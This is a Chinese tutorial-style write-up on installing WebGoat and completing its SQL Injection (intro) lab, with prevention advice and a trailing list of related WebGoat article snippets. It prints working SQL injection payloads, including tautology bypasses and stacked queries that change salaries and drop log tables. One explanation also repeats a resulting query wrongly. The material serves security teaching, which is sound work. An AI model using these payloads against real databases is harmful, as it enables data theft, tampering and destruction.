基于 WebGoat 平台的 SQL 注入攻击

article/2025/11/5 2:19:08

                   基于 WebGoat 平台的 SQL 注入攻击

扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211

使用实例参考: https://www.cnblogs.com/hndreamer/p/16635984.html

目录

1、什么是 webgoat?

2、jar 下载

3、环境搭建

4、运行 webgoat

5、在浏览器中登录

6、SQL 注入实验,完成(A1)Injection 系列实验中的 SQL Injection (intro)部分

7、问题思考

1 、举例说明 SQL 注入攻击发生的原因

2、从信息的 CIA 三要素出发,举例说明 SQL 注入攻击造成的破坏

3、怎样预防和避免 SQL 注入攻击。


1、什么是 webgoat?

一个基于 java 常见漏洞的靶场,非常适合初学者学习。

2jar 下载

下载地址:https://github.com/WebGoat/WebGoat/releases

这里当靶场用,选 webgoat-server-8.2.2.jar 就够了。webwolf 需要在

webgoat-server-8.2.2.jar 运行的情况下才能正常使用,可以模拟攻击者配合本地

主机对 webgoat 进行攻击。

3、环境搭建

我们需要先安装 java 环境,这里直接进入官网下载即可

https://www.oracle.com/java/technologies/downloads/#jdk18-windows

下载 java jdk 17以上的版本

WIN+R,打开cmd,输入java -version查看电脑中java的版本号

4、运行 webgoat

        启 动 非 常 简 单 , 只 需 要 通 过 命 令 行 界 面 ( Dos 界 面 ) 在 保 存有 “webgoat-server-8.2.2.jar文件的所在目录

输入java -jar webgoat-server-8.2.2.jar 即可

java -jar webgoat-server-8.2.2.jar

默认的登录地址是 http://127.0.0.1:8080/WebGoat,我们可以在命令提示符窗口看到

5、在浏览器中登录

浏览器输入:http://127.0.0.1:8080/WebGoat

http://127.0.0.1:8080/WebGoat

这里需要用户名和密码,我们直接点击 Register new user 注册一个新用户

 注册完毕后登录

6、SQL 注入实验,完成(A1Injection 系列实验中的 SQL Injection (intro)部分

 步骤 9 之前用到的 SQL 命令参考如下:

SELECT department FROM employees WHERE first_name='Bob' AND last_name='Franco'
UPDATE employees SET department='Sales' WHERE first_name='Tobi' AND last_name='Barnett'
ALTER TABLE employees ADD phone varchar(20)

尝试将表 grant_rights 的权限授予用户 unauthorized_user:

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user

第九题:

Smith' or '1'='1

第十题:

1 
1 or 1=1

 

 第十一题:

name' or '1'='1

 第十二题:

再根据题目需要注入sql:

name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

第十三题:

1';DROP TABLE access_log;--+

7、问题思考

1 举例说明 SQL 注入攻击发生的原因

        当来自客户机的未过滤数据(例如来自搜索字段的输入)进入应用程序本身的SQL解释器时,可能会发生SQL注入。如果应用程序不能正确地消毒用户输入(使用准备好的语句或类似的方法)或针对特殊字符对输入进行过滤,黑客就可以操纵底层SQL语句以达到他们的目的。

例如:

从数据库中检索用户信息的SQL查询如下:

"SELECT * FROM users WHERE name = ' " + userName + " ' ";

(1)输入:

Smith' OR '1' = '1

        Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;

        结果将返回users表中的所有条目

(2)输入:

Smith' OR 1 = 1; --

        Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;

        结果与第一个示例一样,它也将返回users表中的所有条目

(3)输入:

Smith'; DROP TABLE users; TRUNCATE audit_log; --

        Sql语句此时为:SELECT * FROM users WHERE name = 'Smith' OR TRUE;

        结果将链接多个sql命令,以便同时DROP users表和从audit_log表中删除所有条目

2、从信息的 CIA 三要素出发,举例说明 SQL 注入攻击造成的破坏

(1)CIA三要素的第一项原则是保密性(Confidentiality)保密性是通过什么样的手段可以保护数据、对象、资源机密性的概念,保密性的目的是限制组织未授权用户访问数据。

例如:使用字符串SQL注入损害机密性。

已知这个系统执行请求的查询语句是这样的:

"SELECT * FROM employees WHERE last_name = ' " + name + " ' AND auth_tan = ' " + auth_tan + " ' ";

利用这个系统,破坏保密性查看到所有人的数据信息,可以这样设置sql注入:

(2)CIA三要素的第二项原则是完整性(Integrity)完整性用来描述保护数据的可靠性和正确性。完整性保证没有未授权的用户修改数据。

例如:用查询链接破坏完整性。

首先获取表内信息

 

 再根据需要,使用查询链接破坏完整性,注入sql,将薪资改为9999999

name' or '1'='1'
1';UPDATE employees SET salary =9999999 WHERE first_name='John' AND last_name='Smith'--+

(3)CIA三要素的第三项原则是可用性(Availablity)可用性表示可以及时给用户授权,资源的访问不间断。

        违反可用性有许多不同的方法。删除帐户或修改密码后,该帐户的实际所有者将无法再访问该帐户。攻击者还可以尝试删除数据库的部分内容,甚至删除整个数据库,以使数据无法访问。撤销管理员或其他用户的访问权限是降低可用性的另一种方式;这将阻止这些用户访问数据库的特定部分甚至整个数据库。

例如:违反可用性删除日志。

1';DROP TABLE access_log;--+

3、怎样预防和避免 SQL 注入攻击。

        SQL注入攻击可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。  

1、不要使用动态SQL

        避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。

2、不要将敏感数据保留在纯文本中

        加密存储在数据库中的私有/机密数据;这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。

3、限制数据库权限和特权

        将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。

4、避免直接向用户显示数据库错误

        攻击者可以使用这些错误消息来获取有关数据库的信息。

5、使用Web应用程序防火墙(WAF)

        这为面向Web的应用程序提供了保护,它可以帮助识别SQL注入尝试;根据设置,它还可以帮助防止SQL注入尝试到达应用程序(以及数据库)。

6、定期测试与数据库交互的Web应用程序

        这样做可以帮助捕获可能允许SQL注入的新错误或回归。

7、将数据库更新为最新的可用修补程序

        这可以防止攻击者利用旧版本中存在的已知弱点/错误。


http://chatgpt.dhexx.cn/article/yByE13tJ.shtml

相关文章

owaspbwa之WebGoat

简介 下载:https://sourceforge.net/projects/owaspbwa/files/ GitHub: https://github.com/chuckfw/owaspbwa/wiki/UserGuide 0x001 侦查 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protoc…

WebGoat之JWT部分攻略

环境搭建 使用docker容器搭建webgoat环境 什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准.该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(单点登录SSO:在多个应用系统中&…

Webgoat靶场搭建

环境 jdk16 安装 文件源码看评论区哈。 下载过后是这个jdk-16.0.2.7z文件,这是个JDK16的包,进入bin目录下,可以看到靶场文件, 启动网站 打开一个cmd窗口执行启动网站命令 java --add-opens java.base/sun.nio.chALL-UNNAMED --add-op…

WebGoat通关教程

这里我们用docker镜像一键搭建即可 用docker命令开启webgoat docker run -d -p 8081:8080 -p 9090:9090 -e TZEurope/Amsterdam webgoat/goatandwolf 打开192.168.109.131:8081/WebGoat和192.168.109.131:9090/WebWolf能打开即可 192.168.109.131是本地IP 直接注册一个账号&…

在Ubuntu环境下使用docker配置webgoat环境

1.安装Docker环境 sudo apt install docker.io 2.配置Docker加速 打开配置文件 vim /etc/docker/daemon.json添加mirrors信息 {"registry-mirrors":["https://registry.docker-cn.com","http://hub-mirror.c.163.com"]}3.重启docker system…

WebGoat General Crypto Basics

目录 第2页 第3页 第4页 第6页 第2页 这一页是讲base64编码和Basic Authentication的 简单来说Basic Authentication中使用了base64编码,以本页的题目举例,如果有个HTTP头长这样 Authorization: Basic ZmFuY3llbGU6c2VjcmV0 那这个网站就是用了Basi…

docker安装webgoat

docker安装webgoat 一般来说 无需docker,在 https://github.com/WebGoat/WebGoat/releases中,下载最新的v8.2.2.jar,然后java -jar webgoat-server-8.2.2.jar然后反问http://127.0.0.1/WebGoat即可 但是,由于本人windows主机(java10.0.2)和ka…

WebGoat-8.2.2版靶机学习总结

摘要:本文档介绍了WebGoat靶机平台在Windows10系统下的使用。其操作过程均在一台主机上完成。该平台涉及的训练项目有http代理、数据库注入、身份校验缺陷、XSS、访问控制缺陷、通信拦截、序列化问题、CSRF、问题组件等内容,帮助学习者学习网络攻防基础&…

WebGoat安装

WebGoat是运行在Java虚拟机的WEB漏洞实验靶场,可以提供包括跨站点脚本攻击(XSS),访问控制,线程安全,操作隐藏字段,操纵参数,弱会话cookie,SQL盲注,数字型SQL注入,字符串型SQL注入,web服务、Open Authentication失效,危险的HTML注释等多个漏洞练习. 使用WebGoat的方式有很多,我…

WebGoat v8.0打靶笔记

目录 一、环境的配置 (1)安装docker (2)WebGoat获取 (3)burp suite的配置 二、Introduction 三、General (1)HTTP Basics (2)HTTP Proxies &#…

安装WebGoat步骤

安装Webgoat步骤 安装目的:了解并深入目前安全行业的OWASP ten 10漏洞 何为Webgoat? Webgoat内置OWASP十大漏洞 安装过程 下载webgoat架包 地址 创建一个文件夹,将上面框出的架包复制到文件夹里 检测JAVA环境 使用之前得先把Java的版本升级一下…

WebGoat部分题目

一、文件上传漏洞 1、跨目录脚本执行 上传的脚本文件在网站存放上传文件的目录下被限制执行,于是我们把上传的脚本文件放到根目录去执行。 靶场情况: 如上图所示,假设的根目录为C:\Users\Administrator/.webgoat-2023.4/PathTraversal &am…

linux部署webgoat

文章目录 程序包准备上传部署 程序包准备 github上下载程序包,如果太慢可以点击 下载webgoat-server-8.2.2 .jar 上传部署 将包上传到服务器上,需要说明该包依赖java环境且对java版本要求较高,我们这里是用java17进行部署,需要…

WebGoat靶场搭建及通关记录(一)

文章目录 前言一、搭建靶场二、通关攻略1.GeneralHTTP BasicsHTTP Proxies 2.Injection FlawsSQL Injection (advanced)SQL InjectionSQL Injection (mitigation)XXE 3.Authentication FlawsAuthentication BypassesJWT tokens 总结 前言 搭建WebGoat靶场,以前没玩…

WebGoat安装配置

WebGoat安装配置 WebGoat是由OWASP维护的故意不安全的Web应用程序,旨在教授Web应用程序安全性课程。该程序演示了常见的服务器端应用程序缺陷。 这些练习旨在供人们学习应用程序安全性和渗透测试技术。 要从源码安装并运行WebGoat需要运用到许多工具,并…

webgoat

Webgoat挑战刷关: 第一关: 提示:Admin管理员丢失密码 一开始想到爆破,后面发现太蠢了有点。。。万一人家的密码设置的稍微有点复杂,那我这老年机还不跑废了啊。 然后我想着用sql注入的万能密码: 发现也给…

WebGoat通关攻略

目录 前言一、环境配置1.Docker配置2.WebGoat获取3.WebGoat连接 二、通关攻略(建设中)1.Introduction1)WebGoat2)WebWolf 2.General1)HTTP Basics2)HTTP Proxies3)Developer Tools4)CIA Triad5)Crypto Basics 3.Injection1)SQL Injection(intro)2)SQL In…

webgoat全关教程手册

Webgoat&Webwolf owaspbwa里面的两个服务 搭建 先要安装jdk、Webgoat和Webwolf Webgoat和Webwolf jdk1.8不支持了,需要安装jdk11 去git上下载Webgoat和Webwolf https://github.com/WebGoat/WebGoat/releases/tag/v8.0.0.M26 去oracle官网下载JDK https:/…

Webgoat学习笔记

0x00 安装 WebGoat的版本区别 WebGoat是一个渗透破解的习题教程,分为简单版和开发版,GitHub地址. 简单版安装 简单版是个JAVA的Jar包,只需要有Java环境,然后在命令行里执行 1 2 3 <code> #!bash java -jar webgoat-container-7.0.1-war- exec .jar < /code > 然…

6.4 Web安全漏洞学习平台:WebGoat的使用

目录 一、预备知识 1、WebGoat介绍 2、JDK 二、实验环境 三、实验步骤 1、JDK安装 2、JDK环境配置 3、WebGoat下载 6、以字符串型SQL注入实验为例进行简单的讲解 一、预备知识 1、WebGoat介绍 WebGoat是一个用来演示Web浏览器中典型安全漏洞的应用程序&#xff0c;其…